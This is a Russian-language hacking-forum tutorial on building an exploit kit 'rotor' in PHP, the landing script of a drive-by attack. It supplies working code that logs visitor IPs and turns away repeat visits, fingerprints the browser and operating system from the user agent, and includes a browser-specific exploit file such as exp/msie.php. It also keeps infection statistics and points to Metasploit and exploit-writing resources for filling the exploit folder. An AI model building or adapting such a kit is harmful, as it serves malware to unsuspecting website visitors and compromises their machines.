[пишем ротор эксплойтов]
Что же нам нужно для написания связки? Во первых, нам нужно ознакомиться с базывыми основами того языка на котором мы будем писать. Я возьму php, т.к. восновном все связки пишут с его использованием.
Материал для прочтения по php:
http://www.phprus.ru/
http://phpfaq.ru/docs
http://articles.org.ru/cn/?c=6 хороший сборник статей.
По гуглив минут 5 можно еще достать хорошего мануала по php.
Что же будет входить в нашу связку?
- Ротор (главная страница)
- Скрипт статистики
- Эксплойты
Первым делом в странице index.php нам нужно определить, что за браузер, ip посетителя и проверить не заходил ли он уже ранее.
PHP код:
$ip = getenv("REMOTE_ADDR");
$referer = substr(getenv("HTTP_REFERER"), 0, 40);
$user_agent = getenv("HTTP_USER_AGENT");
Дальше проверяем не заходил ли пользователь ранее (не будем рассматривать работу с бд, ограничемся файлами)
PHP код:
if ($ip_bans==1) {
$ip_ban=getcwd().'/ip_ban.txt';
$banfile=file($ip_ban);
$s=0;
for($i=0;$i<=count($banfile); $i++) { $ipban=trim($banfile[$i]);
if ($ip==$ipban) {
$s=1;
$i=count($banfile); }}
if ($s==1) {
include("error.php"); exit; } // показываем страницу ошибки если пользователь уже был.
else {
$tban=fopen("ip_ban.txt","a+b");
fwrite($tban,$ip."\n");
fclose($tban); }}
Дальше начинается основной процесс - определение браузера и оси.
PHP код:
if(eregi("(msie) ([0-9]{1,2})", $user_agent, $bv))
{
$brow = "MSIE";
$ver = $bv[2];
}
elseif(strstr($user_agent, "Nav")) $brow = "Netscape";
elseif(strstr($user_agent, "Firefox")) $brow = "Firefox";
elseif(strstr($user_agent, "Opera")) $brow = "Opera";
elseif(strstr($user_agent, "Lynx")) $brow = "Lynx";
elseif(strstr($user_agent, "WebTV")) $brow = "WebTV";
elseif(strstr($user_agent, "Bot")) $brow = "Bot";
elseif(strstr($user_agent, "Konqueror")) $brow = "Konqueror";
else $brow = "Other";
# Detect System
if(strstr($user_agent, "Windows 95")) $os = "Windows 95";
elseif(strstr($user_agent, "Win 9x 4.9")) $os = "Windows ME";
elseif(strstr($user_agent, "Windows 98")) $os = "Windows 98";
elseif(strstr($user_agent, "Windows NT 5.0")) $os = "Windows 2000";
elseif(strstr($user_agent, "SV1")) $os = "Windows XP";
elseif(strstr($user_agent, "Windows NT 5.1")) $os = "Windows XP";
elseif(strstr($user_agent, "Windows NT 5.2")) $os = "Windows 2003";
elseif(strstr($user_agent, "Windows NT 6.0")) $os = "Windows Vista";
else $os = "Other";
Из мануалов видно, что $_SERVER['HTTP_USER_AGENT'] или $user_agent содержит основную информацию об оси браузере
Элемент $_SERVER['HTTP_USER_AGENT'] содержит информацию о типе и версии браузера и операционной системы посетителя.
Вот типичное содержание этой строки: "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)". Наличие подстроки "MSIE 6.0" говорит о том, что посетитель просматривает страницу при помощи Internet Explorer версии 6.0. Строка "Windows NT 5.1" сообщает, что в качестве операционной системы используется Windows XP.
теперь в $brow у нас будет "точное" название браузер и можем подключить эксплой под браузер
PHP код:
if ($brow=="MSIE")
{
msie_stat(); // заносим в статистику браузера, функция должна быть опеределена где то в коде
include("exp/msie.php");// exploit для Эксплоера
}
else
{
other_stat(); // ^^
include 'error.php'; // Страница с ошибкой
}
так же можно добавлять и другие сплойты выражением
PHP код:
elseif($brow=="Opera")
{
opera_stat(); //^^
include("exp/opera.php");
}
Теперь заносим ip и браузер в нашу статистику
PHP код:
function msie_stat() // функция для Эксплоера.
{
$fm=fopen("brow.txt",'r');
flock($fm,2);
$fr=fread($fm,filesize("brow.txt"));
list($ie,$ot)=explode("|",$fr);
$ie++;
flock($fm,3);
fclose($fm);
$mw=fopen("brow.txt",'w+');
flock($mw,2);
fwrite($mw,$ie."|".$ot);
flock($mw,3);
fclose($mw);
}
Так же можем еще заносить в нашу статистику HTTP_REFERER это позволит там видеть откуда пришли на страницу.
attention
Все переменные полученные от пользователя необходимо фильтровать! Так как их легко подделать, в результате возможны уязвимости типо sql injection (когда исп бд) и xxs.
Ротом мы рассмотрели, теперь осталось создать папку exp и поместить туда те сплойты, которые актуальны на данный момент. имхо рассматривать все нет смысла из за их большого количества. Для поиска сплойта можно зайти на выше перечисленные сайты или установить пакет Metasploit Framework. Подробнее тут
http://forum.antichat.ru/thread21599.html
Сам проект находится по адресу metasploit.com
Так же немного информации по написанию эксплойтов
http://forum.antichat.ru/threadnav55819-1-10.html
http://www.opennet.ru/base/sec/remote_exploit.txt.html
http://www.xakepy.name/showthread.php?t=19610